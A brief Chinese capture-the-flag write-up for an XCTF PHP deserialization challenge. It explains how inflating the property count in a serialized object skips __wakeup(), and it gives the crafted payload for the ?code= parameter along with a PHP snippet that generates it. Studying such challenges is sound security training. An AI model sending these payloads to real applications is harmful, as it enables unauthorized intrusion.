题目:
直接给源码,审计代码,又是一题反序列化的。传送门:反序列化漏洞
【原理】
PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
解题思路:
1.打开题目,进行代码审计,可以看到xctf类只拥有一个public的flag变量,值为111。
2.public属性序列化后格式为:数据类型:属性名长度:"属性名";属性值个数:{数据类型:属性值长度:"属性值";}
3.本题目中,只存在一个变量,正常情况下序列化后,如下所示
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
4.将设置属性值为2,可导致反序列化异常,如下所示。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
将修改后的code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}加入url中看看结果
代码如下:https://tool.lu/coderunner/?id=c7R在线运行代码工具。
1 <?php 2 class xctf{ 3 public $flag = '111'; 4 public function __wakeup(){ 5 exit('bad requests'); 6 } 7 } 8 // ?code= 9 $a = new xctf("111"); // 创建一个对象 10 echo serialize($a)."\n"; // 序列化 11 // 序列化结果 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 12 $b = serialize($a); 13 $b = str_replace(':1:',':2:',$b); // 当成员属性数目大于实际数目时可绕过wakeup方法 14 echo $b."\n"; 15 // 修改后结果 O:4:"xctf":2:{s:4:"flag";s:3:"111";}
==================================================
总结:
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。